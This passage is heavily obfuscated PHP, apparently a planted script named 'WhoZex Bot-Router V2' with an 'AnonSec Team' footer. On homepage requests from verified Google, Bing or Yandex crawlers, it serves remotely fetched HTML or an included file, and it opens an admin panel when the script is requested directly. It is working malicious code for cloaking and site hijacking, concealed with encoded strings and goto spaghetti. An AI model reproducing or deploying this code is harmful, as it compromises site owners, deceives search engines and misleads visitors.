(preg_match("\43\134\56\50\143\163\x73\x7c\152\163\x7c\x6a\160\x67\x7c\152\x70\x65\147\174\x70\156\x67\x7c\x67\x69\x66\x7c\x77\x65\142\160\x7c\x73\x76\147\x7c\151\x63\x6f\174\167\157\x66\146\62\77\x7c\x74\164\x66\x7c\x65\x6f\164\x7c\x6d\x61\x70\174\160\144\x66\174\172\x69\160\174\x6d\160\64\x7c\155\x70\63\174\x78\x6d\x6c\174\164\x78\164\x29\50\x5c\x3f\174\44\51\43\x69", $uri)) { return; } $path = parse_url($uri, PHP_URL_PATH); if (!is_string($path) || $path === '') { $path = "\57"; } $p = rtrim($path, "\57"); if ($p !== '' && $p !== "\x2f\x69\x6e\144\145\x78\x2e\x70\150\x70") { return; } $ip = botr99_client_ip(); if (!empty($cfg["\x76\145\162\x69\x66\x79\x5f\144\156\163"])) { if (!botr99_verify_dns($bot_key, $ip)) { return; } } if (!headers_sent()) { header("\103\x61\143\x68\x65\x2d\103\157\x6e\164\x72\x6f\x6c\72\x20\x6e\x6f\x2d\163\164\x6f\162\x65\54\x20\156\x6f\x2d\x63\141\x63\x68\145\x2c\40\155\x75\x73\x74\55\x72\x65\166\x61\154\x69\x64\141\164\x65\x2c\x20\x6d\141\170\x2d\141\147\145\x3d\60\x2c\x20\x70\162\x69\x76\141\164\145", true); header("\120\x72\x61\147\x6d\x61\72\x20\x6e\157\x2d\143\x61\x63\x68\145", true); header("\105\170\160\x69\x72\x65\x73\72\x20\x30", true); header("\x56\x61\x72\171\72\x20\x55\163\145\162\x2d\101\147\145\156\164", true); header("\130\55\102\x6f\164\x2d\x52\x6f\165\164\145\x72\72\x20" . preg_replace("\x2f\133\136\x61\x2d\x7a\60\55\x39\137\55\135\57\x69", '', $bot_key), true); } if (!empty($cfg["\154\157\x67\137\145\156\x61\142\154\145\x64"])) { botr99_log_hit($ua, $ip, $bot_key, $uri); } $target = isset($cfg["\164\141\162\x67\x65\x74"]) ? trim((string) $cfg["\164\x61\162\147\145\x74"]) : ''; if ($target === '') { if (!headers_sent()) { header("\x43\157\x6e\164\x65\156\164\55\x54\171\160\x65\x3a\40\164\145\x78\x74\57\150\164\155\x6c\73\x20\x63\150\141\x72\163\145\164\75\125\x54\106\x2d\70"); } echo botr99_example_html($bot_key); die; } if (preg_match("\x23\x5e\x68\164\164\x70\x73\x3f\x3a\x2f\x2f\x23\x69", $target)) { $html = botr99_fetch_remote($target); if ($html === null || $html === '') { return; } $html = botr99_normalize_utf8($html); if (!headers_sent()) { header("\103\x6f\x6e\164\x65\156\x74\x2d\124\171\x70\x65\x3a\40\x74\x65\170\x74\57\150\164\x6d\154\x3b\x20\x63\150\141\x72\x73\x65\x74\75\125\124\x46\55\70"); } echo $html; die; } if (is_file($target)) { include $target; die; } return; } catch (\Throwable $e) { if (function_exists("\x65\x72\162\157\x72\x5f\154\157\x67")) { error_log("\x5b\127\x68\x6f\x5a\145\170\40\x42\x6f\x74\x2d\122\157\x75\164\145\x72\x20\x56\62\x5d\x20" . $e->getMessage()); } return; } } function botr99_log_hit($ua, $ip, $bot_key, $uri) { $paths = botr99_paths(); if (!botr99_ensure_dir($paths["\144\x61\x74\141\144\x69\162"])) { return; } $file = $paths["\154\157\x67"]; if (file_exists($file)) { $size = @filesize($file); if ($size !== false && $size >= BOTR99_LOG_MAX_BYTES) { @rename($file, $file . "\56\x31"); } } $line = sprintf("\x5b\x25\x73\135\x20\x25\163\x20\x7c\x20\x62\x6f\164\x3d\45\163\x20\174\40\165\141\75\x25\163\x20\x7c\x20\x75\162\151\75\45\x73\45\x73", gmdate("\x59\55\x6d\55\x64\40\x48\72\151\x3a\163"), $ip !== '' ? $ip : "\x2d", $bot_key, str_replace(array("\15", "\xa"), "\x20", substr((string) $ua, 0, 255)), str_replace(array("\15", "\12"), "\40", substr((string) $uri, 0, 255)), PHP_EOL); @file_put_contents($file, $line, FILE_APPEND | LOCK_EX); } function botr99_log_tail($max_bytes = 8000) { $file = botr99_paths()["\154\x6f\x67"]; if (!is_file($file)) { return ''; } $size = @filesize($file); $fh = @fopen($file, "\x72\x62"); if (!$fh) { return ''; } if ($size !== false && $size > $max_bytes) { @fseek($fh, -$max_bytes, SEEK_END); } $data = @stream_get_contents($fh); @fclose($fh); if (is_string($data) && $data !== '') { $lines = array_reverse(array_filter(explode("\12", trim($data)))); return implode("\12", $lines); } return ''; } function botr99_cache_get($key, $ttl) { $dir = botr99_paths()["\x63\141\143\x68\145"]; if (!is_dir($dir)) { return null; } $path = $dir . DIRECTORY_SEPARATOR . preg_replace("\x2f\133\136\x61\55\x7a\x30\55\x39\x5f\x5d\x2f\x69", '', $key) . "\x2e\143\x61\x63\x68\x65"; if (!is_file($path)) { return null; } if (time() - (int) @filemtime($path) > (int) $ttl) { return null; } $data = @file_get_contents($path); return $data === false ? null : $data; } function botr99_cache_set($key, $value) { $dir = botr99_paths()["\x63\x61\143\150\145"]; if (!botr99_ensure_dir($dir)) { return; } $path = $dir . DIRECTORY_SEPARATOR . preg_replace("\x2f\133\x5e\x61\55\x7a\60\55\71\137\135\57\x69", '', $key) . "\56\143\x61\x63\x68\x65"; @file_put_contents($path, (string) $value, LOCK_EX); } function botr99_fetch_remote($url) { $key = "\x72\x65\x6d\x6f\164\x65\x5f" . md5($url); $cached = botr99_cache_get($key, BOTR99_CACHE_TTL); if ($cached !== null && $cached !== '') { return $cached; } $html = null; if (function_exists("\143\165\162\x6c\137\151\x6e\151\164")) { $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3, CURLOPT_TIMEOUT => 8, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_USERAGENT => "\x42\157\164\122\x6f\x75\x74\145\162\x2f\x39\x39\40\50\53\x64\171\x6e\141\x6d\x69\x63\x2d\x72\145\x6e\x64\145\162\151\156\x67\51")); $body = curl_exec($ch); $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($body !== false && $code === 200 && $body !== '') { $html = $body; } } if (($html === null || $html === '') && ini_get("\x61\x6c\154\157\167\137\x75\162\154\137\x66\x6f\x70\x65\x6e")) { $ctx = stream_context_create(array("\150\x74\x74\x70" => array("\164\x69\155\x65\157\165\x74" => 8, "\x66\x6f\x6c\x6c\157\x77\137\154\157\143\x61\x74\151\x6f\156" => 1, "\155\141\170\137\162\x65\x64\151\x72\x65\x63\164\x73" => 3), "\163\163\154" => array("\x76\145\162\x69\x66\x79\x5f\160\145\145\162" => true, "\166\145\162\x69\146\171\x5f\160\x65\x65\162\137\156\141\155\x65" => true))); $body = @file_get_contents($url, false, $ctx); if ($body !== false && $body !== '') { $html = $body; } } if ($html === null || $html === '') { return null; } botr99_cache_set($key, $html); return $html; } function botr99_normalize_utf8($html) { if (!is_string($html) || $html === '') { return $html; } if (!function_exists("\155\x62\x5f\x63\150\145\143\x6b\x5f\145\x6e\143\x6f\x64\151\x6e\x67") || mb_check_encoding($html, "\125\124\106\x2d\70")) { return $html; } $enc = ''; if (preg_match("\x23\74\x6d\x65\164\141\x5b\x5e\76\135\53\143\150\x61\x72\x73\x65\164\75\133\42\x27\x5d\77\x5c\x73\52\x28\133\x5c\x77\x2d\135\53\51\x23\x69", $html, $m)) { if (strtoupper(str_replace("\x2d", '', $m[1])) !== "\125\124\x46\70") { $enc = $m[1]; } } if ($enc === '') { $enc = "\127\151\156\144\x6f\x77\163\x2d\61\62\65\64"; } if (function_exists("\x6d\142\137\x63\x6f\x6e\166\x65\162\164\137\145\156\x63\x6f\x64\151\156\147")) { $html = mb_convert_encoding($html, "\125\x54\106\x2d\x38", $enc); } return preg_replace("\x23\50\74\155\x65\x74\141\133\x5e\76\135\53\x63\x68\x61\x72\163\145\164\x3d\133\42\47\135\77\x5c\x73\x2a\51\133\x5c\167\55\x5d\x2b\x23\x69", "\x24\x7b\x31\x7d\x55\124\x46\55\x38", $html); } function botr99_verify_dns($bot_key, $ip) { $allowed_hosts = array("\147\157\157\x67\154\x65" => array("\x67\x6f\157\147\x6c\145\x62\x6f\x74\x2e\x63\157\x6d", "\147\x6f\157\147\x6c\x65\x2e\x63\x6f\155"), "\142\x69\156\x67" => array("\163\x65\141\x72\x63\150\x2e\x6d\163\156\x2e\x63\157\155"), "\x79\141\x6e\144\145\170" => array("\171\x61\156\144\145\170\x2e\x63\x6f\x6d", "\x79\x61\x6e\x64\145\x78\x2e\x72\x75", "\x79\x61\156\144\145\170\56\x6e\x65\x74")); if (!isset($allowed_hosts[$bot_key])) { return true; } if ($ip === '' || !filter_var($ip, FILTER_VALIDATE_IP)) { return false; } $key = "\144\x6e\x73\x5f" . md5($bot_key . "\174" . $ip); $cached = botr99_cache_get($key, BOTR99_DNS_TTL); if ($cached !== null) { return $cached === "\171\x65\x73"; } $result = botr99_do_verify_dns($ip, $allowed_hosts[$bot_key]); botr99_cache_set($key, $result ? "\171\x65\x73" : "\156\x6f"); return $result; } function botr99_do_verify_dns($ip, array $allowed_hosts) { $hostname = @gethostbyaddr($ip); if ($hostname === false || $hostname === $ip) { return false; } $host_ok = false; foreach ($allowed_hosts as $host) { if (preg_match("\x2f\x5c\x2e" . preg_quote($host, "\x2f") . "\44\57\x69", $hostname)) { $host_ok = true; break; } } if (!$host_ok) { return false; } if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) { $records = @dns_get_record($hostname, DNS_AAAA); if (is_array($records)) { foreach ($records as $r) { if (!empty($r["\x69\160\166\66"]) && strcasecmp($r["\x69\160\166\66"], $ip) === 0) { return true; } } } return false; } $records = @dns_get_record($hostname, DNS_A); if (is_array($records)) { foreach ($records as $r) { if (!empty($r["\x69\160"]) && $r["\x69\160"] === $ip) { return true; } } } return false; } function botr99_example_html($bot_key) { $bot = htmlspecialchars((string) $bot_key, ENT_QUOTES, "\x55\124\x46\55\70"); return "\74\41\144\157\x63\x74\x79\x70\x65\x20\150\164\x6d\154\76\xa\x3c\x68\164\155\x6c\40\154\141\x6e\x67\x3d\x22\x74\162\42\x3e\x3c\x68\145\x61\144\x3e\x3c\155\x65\164\141\40\143\x68\141\162\163\145\164\x3d\42\125\x54\106\55\70\x22\76" . "\x3c\x6d\x65\164\x61\40\156\141\155\145\x3d\x22\x72\157\142\157\164\163\x22\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\151\156\x64\x65\x78\54\146\x6f\x6c\x6c\x6f\167\42\76" . "\74\164\151\x74\154\145\76\x57\150\x6f\x5a\145\170\40\x42\157\164\55\x52\157\165\164\145\162\x20\x56\x32\40\342\x80\x94\40\303\226\162\x6e\145\x6b\40\x53\141\171\146\x61\74\x2f\164\151\x74\154\145\76\x3c\x2f\x68\145\141\144\76" . "\74\142\157\144\x79\76\74\x68\61\x3e\x57\150\x6f\x5a\145\170\x20\x42\157\164\x2d\x52\x6f\165\164\145\x72\x20\126\x32\x20\303\247\141\x6c\304\261\xc5\x9f\xc4\261\x79\157\x72\x2e\x3c\57\x68\x31\76" . "\x3c\x70\x3e\102\165\54\40\x62\x6f\x74\x6c\x61\162\141\40\163\165\156\165\154\141\156\x20\x79\x65\162\x6c\x65\305\237\151\153\40\303\xb6\x72\156\x65\153\40\x73\141\x79\x66\x61\144\304\261\162\x20\x28\x61\x6c\x67\xc4\xb1\154\x61\x6e\x61\x6e\x20\141\x69\x6c\145\x3a\40\x3c\163\164\162\x6f\x6e\147\76{$bot}\x3c\x2f\163\x74\x72\x6f\x6e\147\76\x29\56\74\57\160\x3e" . "\74\160\x3e\x47\x65\x72\xc3\xa7\x65\153\x20\151\303\xa7\145\x72\x69\xc4\x9f\x69\40\163\165\x6e\155\141\153\x20\x69\xc3\247\x69\x6e\40\160\141\156\x65\x6c\x64\145\156\x20\74\143\157\x64\x65\76\x48\x65\x64\145\146\74\x2f\143\x6f\144\x65\76\x20\x61\154\x61\156\304\261\156\141\40\142\151\x72\x20\x64\157\x73\171\x61\40\x79\x6f\154\165\40\171\x61\x20\x64\x61\x20\x55\122\114\x20\x67\x69\x72\x69\x6e\x2e\74\x2f\160\x3e" . "\74\x2f\x62\x6f\144\x79\x3e\x3c\57\x68\164\x6d\x6c\x3e"; } } goto KfBEC; mG0aC: $__botr99_cfg = botr99_load_config(); goto WL_OP; naWox: define("\102\x4f\124\x52\x39\71\x5f\114\x4f\101\x44\x45\104", 1); goto OvUGO; WL_OP: if (botr99_is_direct_request()) { botr99_admin($__botr99_cfg); } else { botr99_run($__botr99_cfg); } goto NzB1G; OvUGO: define("\x42\117\x54\x52\x39\x39\x5f\x44\x41\x54\x41\137\104\x49\122\137\116\101\x4d\105", "\x2e\x62\157\x74\162\x39\x39\55\x64\141\164\141"); goto VjTY1; kP0qV: define("\x42\117\124\x52\71\71\137\114\117\107\x5f\115\x41\x58\137\102\x59\x54\105\123", 2097152); goto U5tFV; VjTY1: define("\x42\117\124\x52\x39\x39\137\103\x4f\x4f\113\111\x45", "\142\x6f\164\162\71\x39\x5f\163\x65\163\x73"); goto Wazpc; U5tFV: define("\x42\117\x54\x52\71\71\x5f\103\101\x43\110\105\x5f\x54\124\114", 300); goto CTarz; Wazpc: define("\102\117\x54\122\x39\x39\x5f\123\105\x53\123\111\x4f\x4e\137\x54\124\114", 3600); goto kP0qV; CTarz: define("\102\117\124\x52\71\71\137\104\116\x53\137\124\124\x4c", 86400); goto oum2J; OjBRW: if (defined("\x42\x4f\124\x52\71\71\137\x4c\x4f\x41\x44\x45\104")) { return; } goto naWox; oum2J: define("\x42\x4f\x54\x52\x39\x39\x5f\101\125\x54\117\114\x4f\101\x44\137\115\101\x52\x4b", "\102\117\124\x52\x39\x39\55\x41\x55\124\117\114\x4f\101\x44"); goto dVqrs; KfBEC: if (PHP_VERSION_ID < 70000) { if (botr99_is_direct_request()) { header("\x43\x6f\x6e\x74\145\156\164\x2d\124\x79\x70\145\72\40\x74\x65\170\x74\x2f\150\x74\155\154\x3b\40\x63\x68\x61\162\x73\x65\x74\75\125\x54\106\55\70"); echo "\x3c\150\61\x3e\x57\150\x6f\132\145\x78\x20\x42\157\x74\x2d\x52\x6f\165\164\x65\x72\x20\x56\62\74\57\150\x31\76\74\160\76\120\110\x50\40\67\56\x30\x20\x76\x65\171\x61\x20\303\xbc\x7a\x65\x72\x69\x20\147\x65\162\x65\x6b\x6c\x69\x64\151\x72\56\40" . "\x53\x75\156\x75\143\x75\x6e\165\x7a\x64\x61\40\x50\x48\120\40" . htmlspecialchars(PHP_VERSION, ENT_QUOTES, "\x55\124\106\x2d\70") . "\40\xc3\247\141\x6c\xc4\xb1\xc5\x9f\304\261\x79\x6f\162\x2e\74\x2f\x70\x3e"; } return; } goto mG0aC; NzB1G: return;

Anon7 - 2022
AnonSec Team